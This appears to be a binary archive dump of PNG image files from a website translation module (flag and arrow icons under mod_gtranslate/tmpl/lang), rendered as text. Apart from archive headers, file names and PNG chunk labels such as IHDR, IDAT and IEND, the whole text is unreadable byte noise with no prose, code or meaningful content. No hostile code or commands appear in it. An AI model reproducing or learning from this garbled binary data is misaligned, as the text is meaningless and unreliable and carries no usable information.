��Y?R��Gc˙nx�r��mGܿ���!���.Q�wY�Αp���b��/w� |����c4֋u�}��\���1���n�6�Ķ6L�xT0ok��9m����1�i�|sѪ��BAa>9��W�E��-B���"��s��}�(���-�"���֐�Y-۔η뀜w;s<**X͚N���8�ی���h�k�U@��]7Ǫ	�����-�#׶=���ɚQ�J���x#f8�w�FF��(Z�x|����k?9��Sl�E�v1;���v.+��1N�
a�����{x ���(T��ʱA@zo��mX'����1�
��)e'�y�PX$E#�RL[&�祆��G���#Hܸ
+�"lcb"�`�ґ�29
���\9�+VȰrT�v�M_��弝2�[s<**X�V-Dai*���Srʙ�y�zݖ�m-��r�Tp�؈be��+
���a&�q��|ᶵ.\����p�Z=8�'
S�p�H9�",l�x�%^yu^���_�6ƥL;xl냗���n���f�Ǘ�M�ǣ��M(���x+V�j5��Rn��
���ϿNA����\5
Q+�����=�/���#�>��%eZ�֡	ǣ����o�����Uǽ{��o�
�՞h�4
�<�F�'��j(�n�KvxXl�KpDT|D'v��s���XCdf[aЧ}�X���O�ǩ�^&�e�����h�	�D_Q�<�c�QO��4��e��}�
K�*K��-��~h���`���X5�~�-��6Y��?@�K�f���4�u�����Wq9�V)R/Dy�5Q��*���r�d��a�` �Y�dQzK�+�״u��Z�*�i��,X��E�ȵl.
Is��Nk�n�.׿]�Ͷ|�1���;�g�
�:��N��H�A#��M�
����[���[;���vI�8Ô��޴v�\f+�Y>��Q�x�]�I1K�o�$o�*[��9�L!ˮ�nZ�l��`��	}�B�:z����f�SR��d̟���o�*�ǃ_~&","","","b�""b�""b�"","","b�""b�""b�"","","","b�""b�""b�"","","","b�""b�""b�"","","","b�""b�""b�"","","","b�""b�""b������A1�7��IEND�B`�mod_gtranslate/tmpl/lang/arrow_down.png000060400000000320150746170550014334 0ustar00�PNG


IHDR[6�sBIT|d�	pHYs��~�tEXtSoftwareAdobe Fireworks CS4�ӠtEXtCreation Time01/09/10ܹ�(IDAT�]�
0�@���G��HUy������`�FM[����[�gIEND�B`�mod_gtranslate/tmpl/lang/alt_flags.png000060400000023713150746170550014122 0ustar00�PNG


IHDR,,z��tEXtSoftwareAdobe ImageReadyq�e<'mIDATx���\g�?p�߽�����b��b7j4�a7��J��[�"+��Q���IL�%�hL.1F�*R�E�;�X����Š�[�7�>�z�_�����<��;�-,;,�HN�DU���-g|��*��~���Uڇ�j#���x`<�����c6��k\��˼����Vr'��
ox����u��K��*u��ZG8u[���V�������w9G��e��9��T�;u��}��&?�����x����A񌅸5}a����H���� �y'SP��$��VN��T���B��dY�PT�N��;ñ�;X��Z�xV�ŏ@��#2�*`xtz�Ÿ�Te�A��.[W�<0��?t`���B��}��麴J�>���+�|Ro�xP<(��{9������'����|�l��ZNy��ڢ}�p��1���
��6�W�ڥ�>(���HZ0����Y�ͯҧ�b������΃�A�xP�����$K�*�i�����\-���J}�l���Ub�S�_U��dyP�փc�e�w�*����{p��mȰנ2Ç�|�,J~rl�0�+�	�d����"3�yP<(��_޴����PC;��H[���S��ۇ�˕g��ckj�>�q�A
�Yݹ}�t�ȶ��Qon_����^k�Ϥ;�H�`1X�`1X��`1X�`�罡uP��
�	�M��B��;��|h-���b��݈�r	&e�}L�=&~�S����fV�U;�ʵjk��X%��c�7��Vx>�V�>f߇��0ɯ�e�j�Ӑ5��b�,b�,��b�����AxV���|�0oX6�N�P��M�k��mʌ���p�U��Q%�(�q����fa`�:��?�rE���g�����E����aJ{u���l��o:+b��4���3Q#P�[ΝCq��Y��0�>�x�a�����_�l�~X<-4)Kd�Қi'O�>fY��G��7�>X�,��b�,�A`����`������]��Wg��٬�>��w�]#��q$N�M���p�u���nx�a~g�[�5����h�)q�ބs��هsJ ~�M����[�L��8 ���-��m�`^�|�[~��\z��n~����b���b�,��b���b�,��b���b�,��b�HK�6����bs��;-���b�}a:U�}�ʐ��f�Ic�y�V�|�
����������s�3�N�\�1��*%��A�I4��6�>�:���5�p�4�y�7X={�F���ݻwͺ��~x���e|�v�aqSt��Y��~�d�%���
+q���Ҵ��{�7X����D���ί�u'�)c ���RjzWe�9�߬�pJ�&q��������������;1>��/���>j�|�c�,��b�,��b�,��b���b�,��b��	��O(��sM1�N��
5��>�gׯ��E����+�y�,JZ��ȋ��=���3јqd�2//��J��c��d����(��`�}X\�A��Y?���g��-Š]���=F��m�����Zw-0�>F�_��v�۞\����"o������	��¢�J���-�X�TګN]Ͳ�$?�[�q�±�r��T��Pk��6N4�>�}�?�ߕ��;V ��I�ۡ�y��cݼ��R�KTVF�_���_à�ɢS�ʺf��f�G�x_~l�,�0���%{�z�~c�s��Yvb�4R����5^�y��*�M�H�Kr��,�t�L?unQ�/���g���>���O��`1X�� 0X��`1X��`1X�����a����!%�ے^�(��E�?to��Q�j�pe^��jK?,--�ݳ��M�{զIJOJ�QQ'����-ᚦ[m��#�qO���F@�>��
����)uj���g��3��?ce`k\�9@q�k�ڕX�͚����1��:ժ�f}v�?>��#�o��;_G�84T��a��&q>��O�TS�|]S�%�F�ײDI��kQG������w:DL,bb���EL,bb1���EL,"&1���E��"&1���X��"&��XT��:.��.�H��;�*�����3;|j#�ވ'7"�lr��0������7)<����_�P�3�Ԧǂ_����E��^�PubM���#�+FH�)�|��?
���Z�Z_U�ρ���|��Cͻ����]��� z�,�
��h(�
A��sT����;Cv+�=Ƨ�ѳ]p~_��G��zછ2�������uڶU�y���j��l;"צ���K�U= �R�����e;����p��}bp_�.[��*��&����V���QJb�w|�	��s�"��v�h/vxE݉�JN%%%����pL���f	c�I�̗�m�������Ѱm�)S���͑ݼ%.�;�/މ�
��X��"&��X��"bb��XDL,bb���EL,bb1���EL,"&��tl�o�����h�|���Z:b{n/b�!�����r��~>}��=�_'o;�S�D���{��'�Owy�66^Hз�(�<CM������AVf�QfF�|ᨩ(�+;_����hfK�����E��@�翁[�'�`<�=K?
�؏"��I�iKTՏ��	'��Td���?~��M2�y#F�+�.^���-_^�>�^�Sf������Yh�a&.�t��⎸u�7|����Cܑ#�0<�גq_�J�`ʇ���i�e�����,t�<M�]�Nǝ;7��T,}��<�K*#�KO\��K��t��{�+��M��D_4I�S�;~-�#<�.���=#����N��[/ ��n��ڑh��)ꪼ��G��8��q:��#g6a�֣�
���/�~F���H^3:�E�����R�e�Y�*+G�~g�Q׀$��Q����^�x7�R��H�� �tw�9��ۥ�k��,�|� �]�-o��O��b,��k<,Ή2H�-�/o�H�?���84X9R�CP��z��床��uj�G���3���XkT��*?w �_?n ~�E��"&1���X��"&��X��"bb��XDL,bb���EL,�=%V�~Q��_�}�������¢~m�Ȱ}!�W�]�p�S�liiYk�!��0�
�B�0�Z5]���p�D��'`��x���3v��}m��k;����"�'�|�$x�[����kU?��/��\a�n��E�ٵ�m�.D���F�m��V�>(�9�Vu�s�T|��>:��ч�a�f�R�o
�U�x%u
\��F��3�m�8�]�;�������+�Z8�'G�	(�rD�PԬM��Ӛ�8�9������;h�9�k0:mh�ꇳ���&Bx�|<��d�l#��kOb}f�$RY�͚תi�x0��϶�8{�-}���M�ZՏ�!��(�M�|�O��;;֮����!}kJt�Ym�H�y} ՛�
�zs���\�rm�G�9}�޹�t�^kEmꇜ�,���Ea?�9�R"&1���E��"&1���X��"&��X��"bb��XDL,bb���EL,bb1���EL,"&1���E��"&1���X��"&��X��"bb��XDL,bb��4��G�"p�&a�" p�q��k�0�����y�v�}o(����-��k_<���uz��G�r�ze�<�3J��~X�����g�s��s�gY�w��NYZZZ��#{Brz#�No¼�q�0�g��@���3;倨��D?�5�Ԧ�Ơ(8E�B���Ru?,��p�����@��9(d{kn��;2�1哵�I4b�\�����x7V%���h*���Ga��u��ǎ�th-&�c�m٩`�TL���՝XnCc�?�;��}�ؿ_7�;r=
\�P0�Oi�FMQuG�n��A�C[䆇�ݰx�i������0e�Z<(qC���s`����k�,��a�h��_H�?+Ǻ(�u��y�<q#`���o�lH=c���%6l8�\x��掼�n�d�ă�M�{�5\"��c%��?Ŀ����	��G����O�CJ��.i4�ލSð-�ǿ�����ҴBv���N��ݗ�m�P�y)Ԥ]���l;*rm:�z�����K��`��.��q��
����S7��Z��e|�UGԍ	@����G��q���N���z:��f ��u�ɝ���n�A݉���+ȶj��vzm�k���_���3�)�_��{ӄx>�)g�A���
�쥬��S��㇦q��؛^p�0)/���zK[�Ee'5��o8&�����o�o�0Fi���V?�tO�����lM�t���%�VB�JzN�yb?�nhk]?�^kƃ���X��"bb��XDL,bb���EL,bb1���EL,"&1���E��"&1���X��"&��X��"bb��XDL,bb���EL,bb1���EL,"&� ������XZZ>Җ�*�H������~�v<�
X��+>�+��:�5��ب�#���uvb��E�}�^ĝm��r[�>�6�eAm��=�?F}[ޤ��W��%@+�y5��¥�jL��&L~O�<Y�|k��R3�ļ6x��F-q��y'R0�D�b��eyƑ��^��g�1��n�a;���Ϸ�����c<����M���p��-�'�d�rU�âs�e��J�����QSQ$�M3��椷TՑ�v��	#��x��p<�=�O.BI�\ϟ�k���vֱ�C�8c?"�M���?�Ta�u%���e�UF�{���ay���
U��m��gd��}1���?�ǰ�p�.\���s�:<(qE�!y��e[�����G�m�����	1�����Ԗ�X�HY���5�:�y#�T�Xmކ�B�v�q>�]��Gך��:�y�Tt�<�>��}�W�o�F��8r��M�N����t���=�fÛ�u����i�Tt�<
�ߝ�W$�'9}[���g,���cېӥg�W]p��yaL�$V�Apt'=Gr9Ǻ��ʲU[U
H��	pN�V��|��.�ݬ�毼���� �o�N!�6m��omC���)�:�[���D_�j���?��n$�L��KG v������ȴsRd�kt���X�&5uD^U�I�7��v$b?�.���ׅ2�{����X�M�/S�)e8�y+��~8%���8���lw�G�b�[�){O��]�W�b�Y���J��Jrz���֩�i�c=�0F�q�~.|}GN�s�PQ��q���9�O��m+5MPWb5��A���~H��� ��ݼ�+��D�*����^��z<�Z��#�ָ�~̣���B�	Q���Ϳ�>�U��°�|�QS?F��A�;^�ֵRy�ibI�K�;�o�.�
�tSŐ4����ᰎwß�x=�x�]�H���IRU�X����R�S�Y
�-�,�W�Nt�A-��b�
��n~��t^���J9��~<�|�-�A���b�QII	J�Z%�r�L��r�'41oY��.?��*�H�*w��G���1���EL,"&1���E��"&1���X��"&��X��"bb��XDL,bb���EL,bb1���EL,"&1���E��"&1���X����SB�a�<� �}@*5�������q/'�<?���&1�3̙���H����IM�]��'�͐�|j�֙j�ڈX��?Db�鍘wb��M�~�=���9Al���.��֓�e�������:yn�Y�(X�k���g"?Gム��O�q���῕{�3�f��[��5��^����C[0�#V��m��Aa�Qtu�\��{a���m6ǣf�@�x�B��+�;�H9��ǽ��|�0/���	��3��QSk��4�i5���q�h�~gі7�.)��P����[⁶����� 8����֠�O2�َ	���k�s�6?�l���^���	��*u<�Ə4:s�3lZ8+'�ġ]+�i�1�i�_���񨩂�����N99��:A����Q�qb�`�ɞȻb�)h�Q��cP�ld}k�����U�7Ǐ��r�G
�²^����h"�C^8�I�~����;�Sg��/F*ekZ┝��QS�…U.X�>��)X�����Q�d�0.VI~;�+>�	��Q��-niT��~���o��u��D?؉VΗ��"���#�A��q�x�P�zNh!�I:�֨�r9�}�c�> �x��'����C�_���e����������X���X���X�����������X���X���X�����������X���X���X�����������X���X���X�����������X���X�����������X���X���X�����������X���X���X���������rKL�*�`�����B�_>��q��>v/�yL8�;A�=?̀�Q͂�$ p#��:II'�HN>����*X�1f��N�:�t^׮G����M�*H�}��=�q�V8�WG��M׵Qg�t���Q�i�ݧ�],��m���{�y�K8��}a�X��#F�Lj�ƈ�xҤ�M⡍ѵ%q�6�׏�Q͂e���"���q�d�h�ʴ��_$�o��pk��~Y*^�
7����n� Wy@���F�g�1�xfOԷI�~t�Lĩ�pܿ3�jg)ܙ�W�1�D"��m���o��=!�j����Eb<�(c`0�X��ISᬷP4{�P��]�k�}8�-X���8~�2�O،���ol�ǖ'(˺�O��?x���[B���a���:��Vb��p|ve
B��5o\�؇!�v�u��^�v�LV�9-��vx	����ǐ�5���W�`�o���X&��&�t��C\�|��-��a8��xB���r�
�@��|��7�9Ѝ�Gu���`��o1�5�v~ml���;M��6��P��5�ؚ���j�a�j� �l���#sp1{��=�^�����ף�[*^�وA��ǤiX��0&�>�^)�z���}\�}��92]6��xTs<���&�.F�m��K���{��}�u�2s.��4�{�;VM넝1ӱ?uJ~*Ƶޯ��`��慌^�8�-X={���-�Ю}R��X۶}(��
�Uۗ�[��v�q��k�j� ׽�a�䏰#��-��mK<��GχC�h8���}�H��Y�����m
����}m����`��^��!�ӺI�j��D�Y��6������Y�����f.��y!>H��}�q��7�pl��tзBV�N�ة_�V�`���0�$�'H�N�V�h�~,�}�	��F�~�?��G^����
^�;�p���	…�ڢ(����N���J�_>F�uc�2!�'H5ǣel���X4K�Չ���y�t��O�/�E�L�t��q}��YB��2�t�[��?Zu�Q݂��]G��wF�U�X�ژ̷���~d;�mr^�w/s@�y�8����h�&zr�*��cG�OQ�0`�@��pƷY���5<��O����}�c9Ō�xT{<|ᐬ��q�ƶq�����X;!�Z�H���
_;��xT�`5>o��W&�	�M�M���ʴ��*Hc�XEx��`ږ�o��M�z�H�fe�k���x4]�!⧋s��:M�m�[
m��8o��\H��1,���}q��9I�mx�0_�o�V�g�ŸjQ�*Ĺ���R*c\��q{��c��CD,XDD,XDD,XDĂEDĂEDĂED,XDD,XDD,XDĂEDĂEDĂED,XDD,XDD,XDĂEDĂEDĂED,XDD,XDĂEDĂEDĂED,XDD,XDD,XDĂEDĂEDĂED,XDD,XDD,XDĂEDĂEDĂED,XDD,XDD,XDĂEDĂEDTN��}��A�Q��Z���
x-ZY.��t�W�!z��+t�oK�� ���y�}o(����/Li��)���e֙n_����qt�,�x<i<���o�Q�)�{$nx���(e�n���?ǣ�����'aa�ڵ13h���
�h;S��o��m���qkn�^�������(�"��� <6 �������ބ�S�H�!z�e�:نr����!o��d�� �sj��!&��"ľ�\KKK�G�qf�.^�8��V?.����C�0}���J��B���y~TT��t]��3�Gv�mnT�1��.]~d�~Y�O&H�'�������8�G�v��Xe^i��'�Ǭ����ܿ=
��*�^Z���b�m�1<�A�#�,�5�2�G�1h����J�����q�7��7C���S� ���L�P�07�8�����;	W�88W*h3L�A��|��@a��H�cJ��|�r{�6�-򟊂�|9 启r��?�>����F#���i˔v�Q��>�YX������ =9��R�]��G�[�qNj}
���`��.��`FȘ�����_.oz��/��%�_>_]�?~�{s<**Xm��K�����[xI�KoA1��o�&m����ent��2�t^Y�`}oO�������u�F���nyv�F�/ܽ�Kz㞶'��o�=��[�b�;0t�.t�/ME�T��	�W.EKw���{c��^��x칐�q�xE��9�
���30p���(\R_�>���ޢ5L�W�ŽUS�vb'���a�:`��@�]��o r�k}*�W���,_52\�6��QQ�j�zڴ��|S��-�D[�o�~�����'H���!uzw���Z��
�ni��M�
�
�]�88�����8v��S��������c���
��Q�(���1�a�3��ܙ�W6�E�
b_��r<*�����&u������y�r+�j��DAa�;�G��G��=B�qp��.p��1(���m;"祎�֓�Ym;�.wꂜW�s<**X-[̀��p��qp�s���ΰm�usd��ro�j�\���
N�����:a���Q���9�h9���:���\��	N�"a�+R�K��.��
8���S�p8�*�aʪ#�׭WqO��~QQ���c�����c7��M�C�u�9��s�X�ďBӸh?M+1o�[�_]9��/C��5X�j>�6G":bV-���"��-H�|����a�ѱ���r�m�s<**X�֭Eai!���19���<a��n�6�V-���Tp�؉be��+
���{��h�z�k|�}.\�����zp~U���J�Ҽ",l�x�%^yu_�;מ���b�<v�_�F�n����/O8�?�G�a_:
c<�b��5h��&�����O�w`1"��@��ix{�[8un�K�+���dʴ`I���uj��`���/�oOw����+8A����M�4��(�ўxz���u.f8�~q#\L� 2��z��yG�j�12��1�xJl[Gܧ��4�ӭ��j�����h�f	��8y(D���h��
�*;�WX�WY��q�x������QQ���ɱn)^�8�W�}�}�`��4X=V��~��#陮{n������hp)�^)R�/���Q�3]o�$^=���7�C,Y�^�

�m]����d�ip���‚��(�V�D!i���y�r��m�������V�?�a��v_�����JW�&�R4K�A��M���fz�������vRc���qF*��ɼa�\g/�Y1��Q�x�]�|�g�(b�(�>J�&Uv��Qe
Y͍��d{��G��E��0�*ī�'��}�|���؀Tk<*����/�Gƍ�~&","","","b�""b�""b�"","","b�""b�""b�"","","","b�""b�""b�"","","","b�""b�""b�"","","","b�""b�""b�"","","","b�""b�""b������K��lIEND�B`�mod_gtranslate/tmpl/lang/24a.png000060400000114130150746170550012546 0ustar00�PNG


IHDR��R��tEXtSoftwareAdobe ImageReadyq�e<��IDATx���	�e���o�5���&  ���E�UwWq=Veu�ؕU���*�(.
�
" ��%���	��;���}�����d��55�y�j�������<�z���	�@�I����p�-in
斊yۮ�U� �h�	�q����ԃzP��<���h�]���o���_�A��=��L��j���?;G����?�Roz��Y<=�ٳ�S�֋~�+9��i��?��<����|�޷2�}���wI����nz�שG�z�Ak�un����8s���p-1�W�#��6�
Ͽ�G�#B=^���V&S}��}CQ�7$%���_����	mx�5WP��x�t�?�c�2<�m�O.���?߹�Co?R-M�f8���#�Ǽ�o���<k���e�m���?�ܵ���S^����.�p�z��M�!�G�T�Q��LJh�Xq�v-p��x�N�/�=�g%�z���8T���(��5%��V,=r���L\�ߟ"�c��V�n�zL�S�m�1�6s��}Yߤ���
}�H��tU�9��q*��{��vnZ~�"y��ޚQ[KZ5��eW�BMɔ
�	5��FK��A="����-������� mvt��ow��7����t�1�cժ'5gz�^}�R͛������.��y��as�;G�솴z�����������-����V��ά�uk�Wk�oޜ5?}9�f�ҽ���Z%��IMg�fve��;߹]�i�t=O�ZU=��UX��&��f4N�K�.ݵ�O�V�
L�p���Ϋ���:���y>��X��Ĩ�>�#B=|�?�DE~>��a�*����e���)�q����
\��BFG�	��<^�*��2�z��f��4Uk�_ӭ�ۊ*�������揁����ѡ��jR�#��6��j�P����}�̘�Z2�n��s�T6{;�ƪ%zժ��6o3���C����\�!��zu�%w�d���X��N�?&�?T��;�zW��n�����?�c���ji=V����r��Z���W�j�-�����[�]ǻ�P�
��R�zDZu�c�˟1S�Gmϻ��ۿӕW�A�"���^��̭\�ɪ����{-3����:y�c�շkKa�)ifğ��k\�S�&3xMQ�F��3a�ϖ�|bV
&P��$��IFA�?���}�5ž�����A:���D庁JEWs�4j�%3t����6T?�գ|�E����7c��ҰQ��i��P�o�]��7s�/��rR�o]��^�����9�i��ӥ�o٦D�ݮS��TF>��>�ۣ5�/����g�c���m�=Hm
���Õo����?����a��X
���é3dƫ0P�L��|�)}���N;�}��*=��>�,�������8ܔ���|��?z���q�'�P��c�궧t٥�SccB��P��j&��k%�C'��ٳzは�̆Fݻ�f��n�]��o�|�f�2=���O�ܹ�4��y�si�b@��7�e����Kr=��J��1���P1�� �"POf�2cP΄�r̈́ko�]�� a/jv]H^>?�z��7�g�i��W~O��y���s]N��{if�1-xb���#�.��nּ�=r�lT_�Ac���8w�P�؝�B�o���5z䉭z�����2���e��9j������_�\M;v�꒫���ï�˛�*�'-<~��x�Y�M��l��d����n�V��RwC���_�2|~ڴf�+T.ꊏ)x�RT�2��nE��jN��/Q91K��Z��t�n[������z�!��Q��-��0�ݵR�L$MHg���W�����P��B,��hhњiب;#&l�p��_T�vG�F��_��L��WU�}|+@a�c�3�e&�l��j��;��`�WU��z�ѭڰ9��
ԉ�����0�?�]��v��;����_ֵNū���g�K���`GQ-g�Q��}��O\��~���d�NӸQ�s��L���b�Jv]�>���
�9@o?�`�S��1�z2�g揜��觟{��$�G�u�9jhl|�vg������p��������J{K66���-���>�~1o�J�����z�����f"*�M@���A/i_�_���ڰTӚ�%�M3[:4�}�
����k��ߢ_>u�*�l8�����enR;8٪����JS�����W�a'��s��/��i�V֎/5���o��mϱ�tU6��([�f]V�{+a�.W=��*��[R2��g:��ˎo�	gD�5}�2�L���K�T��+�Ш
%S3�+j���t��w�|����=��N{ڨ�.��}������:F{-��N,��l�ϯ�m��K/�6�v�hh�ԛ_�
5M�&�ͯX>��Ɏ�ƹ-�p5������f�G{�ϓk]�L^s;���Uj*{U��)-��Xk��#����ds�ë��8V|����zM�g�1��;8bT^��ޜ�������y�f/+1�r���X��Z�����|��V�n�%;��zLj�s��K�\�o�֏~B����������a̿C���\Y�\���w�ӥ�>�U��ޗ�{O��x��n�6�@���~����X6�����\�誫gSx�������C�s[�1�YG/����r�u�	?l��w��q�Z����d��ӽ��o0��]���&'C�F�q���k\�|�%5�|@;���TݰA~���u�=}���*����@�
����ƹ����G�1���������}���w���o]O���Z|�-Ѷ���5����ɖw��Vbk^�~�ߴ�|�۱�a�hoS5�|>%�c����nVSs��a�����=9�kK�C��Q��j�������y��mT�tk錹:f�AZ��>%Go>�d�Ӂ2��Φi&To7�����!��j/Ǝ�I��
u�3���50�V4l�泧g�Р���f[^��j�â�~Q�?�E��vj��֏~\�?�Y!3��.XzI�=����W�p2ڻ�E�-�NGU�+7�B�gv~¿3�U5M�~�ꗾ�r]G�l)|�k�:[�֗�ݲM��ݡ���vXx.�N�����i�����W�M�g�}����I�@M6���wj�����O��ߨs�����
��;?�ꤞ�������a�a�#ʕLdz����e�\�CD���K8���p��Zǿ={�v��}�pc�f[�C��^7���F��j�C��3�&ѮE3��v=~аcV��'۴׌������Ks�^B�I���un�.u�t�EU��6ƫ�=�D��~x&�`{=�Ȑ��,=p\�K����N�
Ե�ӗ���>�7�&L��ke?����%/�	��6l���>���t�
=s��uܚ.]�ӧ���9���@S�?"�9��?�wO����
:�����p;�����ҙ����}�m�?����ǀե߸�~���q^�k,NK��ɤ�i��Z-�AL�V/�'����!.���	 ���;�����#��hv��}�:��?�]�>L_��[��#w(���aZ[2J'	p��s{�|'9�'�?�O����T1)�h?�o<�+���$�+w\��x��G�9�^E{����w�%�.��O�'����מ���hm߷�
0�%��c/;�s����^���]�S.���z��쓋u�o�rQhl�쵣OP��=�ݥ3�8G���z�#ԝ��ٝ�/gu�Q�/��;=�o�Jw�@}�70��J�w\���G0��`�k�>�_��UW������Θ�c����"���5ɔ�t�zlT�ν�i��2-�G[�k�g��o�[�tJ5�Gd��]A"����=���5�\�w���V�޷n�Oh�����_Lx���'����?�s�fmx�[��V]��=����U��^/7ٷ��@x	=��R�W���B}�#����j9���=G_;�]�c��I���ц�O�딏�)m)u�տ��d����ق��Ly�z�9)�8p��k��|�ٍ�Gki'�L�:��NX��:�M=��@=^@�p�1��a�{��8?|o�4
�\&��վp�A����kv�<\�z�$�&xI�)ߩ��5�.��Nj�\�x�ם?F��'\�0P�·(���j�Q�_��l���y{�E�--mv�}�����~K���=�Q߽�&��ާ���SKo�N�>���ޟ���.�|b����%�8�I��E���~�a�y���d暚L��氇����It@��8��y�7Ŵ� <l�����kS��Ȋ�=����8>�>�z����@-��v����Oj�G��n��ե��*r��T�`���|��ˠz�@�n�…*޼JO������o���{��0P���VO��:�M�~5�&o"|κ��u����>�t���?��J���T=B��_=������S��sq��)!����6�a����b�����K=�+y!j�~�u��T�m����9��s�ǔ׿��l?���e�����M���\����jns̭-���ћ� �S�	�1�C=����ԃzP��Q=l��˜���q��USp��M��ԃz�zP�A=��x���@t|=@��� P Pj�@
��5@���� Pj�@
�@
�5@�@��� Pjj�@
�55@���� Pj�@
��5@���� Pj�@
�@
�5@�@��� P Pj�@
�55@���� Pj�@
�@
�5@���� Pjj N��%ͭ��R1o�5�J�<��8���ԃzP�A=�G��m^ƙ+�d2���+.[n~�(�4�N����:��!��x��'�f��q�I_^�L�?�s�2��9���>��z�G�z�d��xu�M7Q�(���+�	�?�I�x�|}���U��7���3���?��������ο��zD�����N�'/�'G��g�E�z��Ua}�
�M��]���w��h��ִ�'V�|�8�M=&�f	�?V�8 ��.�߯��?&W��ntժU�#j=G+��'����v�ڟA�x�����`����
=��zD�G`�[zI��ym�]�I�c�hP���.�����Wql���yR�*�7k��&��g��w=>����wJt��}{7I�&,9�]ۼ9��3Np���>�#B=\�S�RSOO1l�	���m٦�I�m��������G�ԣgX=��w�����	���)��*z=L���>ғ-i����RM��Ł�?��Oh�o9t��H=��vlq�
��A}"��?��?�&��]���?"��3mW�j�FTc,��m�g)_M��|�G�\����b�*{0�����AS��X��(p]J7���+x�\�l��g&�B�bno��P���I�����Z�[ҙ��Z���h�A�tf��5����i�׬������
��6�iبc�	pÄ́�ZLmhbB�3^EU��Ut+�[�X"_=K�j`~ٸY�[�P����E�|�˔\0�|j�s���x:`�2��\���o>_�}�ǀh�B>_��~~d�sl�����Q3�ȇ�8�L=<���O�_��i�K��oW���w��ʌAɱW�:�3zx]7
�_ɛ ֫�Ի�����=u*|��\���k�7�,а�X(V+*T����,���&_Y�[�T���w�r�T��o�I�g�MM'-;PϿ��pR��=,���T/Ƃgs%�_�=�#g�>��x�{�:��%�k�0D�#7��\M~6�U�D��R-��h�H����i�&4�M�9n?}嶿y�N<H�sY�8�����RE�ϥm��xϵc�盷����=LӜ�c���KӸQ��U�Z
o�?�#���G�Y���S��B�bc~K+Ю�%PI=_���s�(�G���Ļ�<�[�ғ��=L׎�R1럷{�k�:��M�h҆M=4�$�
�;�DΣ��uVQ3 ��by@4�����,T�1۬Ұ]�j�1�];�U�|���R����(�
�Q�R���{��Ttϣ�5wf��"����O׼�M��S1����p
NPg��Qe���䯽V�MJ�َ`#��<���O5�N�޹��h�}*�0�XsՓ��7W�e{�*.UVD'�M=z���x=�>{��_�Qy�W=��CԱ�S�1�Q����J���k���?Ѽ껿S*������2
;Es�_Vo��VG���q��p��c�f�|>j��^�m��e��b���R�[0��~����+����u��
�s���ҵ�;��D����6j=j����գڵa�c�΂��6��b�Z�k���x��أ^S#
90���.��Xն��ڟ]�]�9(v�}e��ƴE`����X��!�Զ������fg�Tq�ϧj��s�!�-��DŽ����g�����l�(��K���^EN���?��P��[�&P���</�U��U�d>z=��삀�Q:�Ⱦk6�$r��;�)3C>H8�`��v=?�qgg1��
TQ�裡��e�c�|��-*{���m�b�}��ٺ��z���I8�ڐ�Q/��|>��ڋچ���n�	=��H(}�>*?t�j�;�*+����*]�jN�xny�w�Pkk�����߳]�{���mm��q��6py)�i&���u^ߓ�eڢ�-�ލ_����}�M���k�)�\4��W����~�E"�A1��r�"�͛��wޜu�=��������Z�ϧl��d���o���zc��^�0^��?:�N导��eS�a�t�5�%��w���0P�o�w2�� HkKFi
�
�dV	Xa�Ξ��N�6�s96{�wOLPQ�����~J$	_ق��!�mg}g��T�r�x�ֆ��~�����OAcB�Q�*�I%�/�gv��GEw��L�R�#���&p%�p5l����:C�r�5[b��;5}�f}����s��Ov�y���5h���SӉǏ��T����ͤ�Al��Z�u�ރ�L}Xa��^G���N��٠��2�5�G���� ��x,D�ޓTCS��^<���ͫ���Wh�H��&('��2	w���/��=�������8�Q�i��M �}G8'�M�u�'<�1Y����RÑ�+������#
/:H��G5u���vrO)�!��vV
w�}�_g@ï�)��5j�G=�����%�%jOt��>�}����6������8����k�#��h��ݼ֗�u�'��C�4����c�@��)��|���B
��YmW�'��f��ʧ�~-��\��~9��)���93��[u,��+�4��2�OV'���Äj&���mܸ�h��@T�p�=jhm�u��:_h��f03^��9�S�_���~����	o�j��zr�)��z�6�����ջ������{
����2��W�k�ǪA�௛|�ϡ����{�;�Q�N3��cت�c��#B=n|h�"}�px�����=��)�P'���c���2�x��U۶Ö���sk�y�6�o6��<5���8ԃz�zP�A=��x��j�Q�L��8�c�Հc�-8���ԃzP�A=�G�p8������� Pjj�@
�55@��� P Pj�@
��5@���� Pj�@
�@
�5@�@��� P Pj�@
�55@���� Pj�@
��5@���� Pjj�@
�5@�@��� P Pj�@
��5@���� Pj�@
�@
��1���5�[*�m��V	����'Pǡ�ԃzP�A=���v�ͦ(+�����Q�	i��3V*���ܟ^�W������Mo:sB�w��#B=�ϭz��g�Y�pF\�2������H�D��I���dʩ��_�����ԃ��=����J&c�𼛮�����fe21r���_�<�S�����Z����ܦMjmm
o�Q,��۫y��
���OX�LXh:���O�8z�]/��k�)�~��Z���6��`���]�/zш'|�x�L�����K8�ۢym��;�G�z$�ΐqi������F�+ƫv=I5�X�FK�n��4����s����ݸ�ϛ�m�@�4{�v�3|"���nPcc��<�H-]�t���߭^�Z��w_�wo~����6�N'��$}�WP����چ�K}?���
/�l�|_���/�ѡ�l�zD����G�zx�\�\�V

����L�R^�0���v��$��z�*O=ٲl��M��y�-;���;�p�ϾǼ-͌W�W/��u����wX?Ю�006u��?����)��G���7�멷P���CƦ-���L�l����R;;��x�-��T*�����K����r��-`¶ݲ��{�G۷oWgg����?��/���(��[SP,���
�ڮ��y��2i�M����d2E"p�X+���|3��������\��L� ��L�gںP��P��y�0z���^�0;�*�7z��3�F��<^��[,�f�ކC������lH�R�;��?����U��׽�o[�Z�nPm�ھ?�c��r�RK�蕯|�V�Z�u��i͚5���С�J�d�������]o�:���^2)�	�95��?&3 z�W�ʛ@mcC-H�-Uվ�9����=f��'���(�%as@��B53A�͎��iW�>Fyy�z0^���YMɆ��}aܜ�ګ&�wҶ��+�����'?�@�J:;W��j{zNJ+��F/{�˴`��yD�_���RI��3
�{�^���U�9��C�̙3� �|�r��~t�I��I`�r����ʮ���LP{�)�ZQ�jQ�	�32%��ޠ�m��j����6�x�����XJ�(+�A"A��L=\_93.
�
R����:n��&�`�z
�X�gi?�����<�{}���R}����Q�)%���j�L`�I��
;��\�5�ڨcՈ�wW
�Q�����j{��e˴x�b͞3'|����۴INs���5��6'Z��ҫ��W�Wˎ=VK�,�…w�BߧrQ�ho��2��N�'�9�_:�mV�fpmh�q���L�{��1��U���K^J��y\�{T��be�8R��04�/�U|�/��S�&9�h�n��;
jLP���K;Ǧ�gI+Ȏ�ru�������5a [��
��#���٢��f�0�
��_
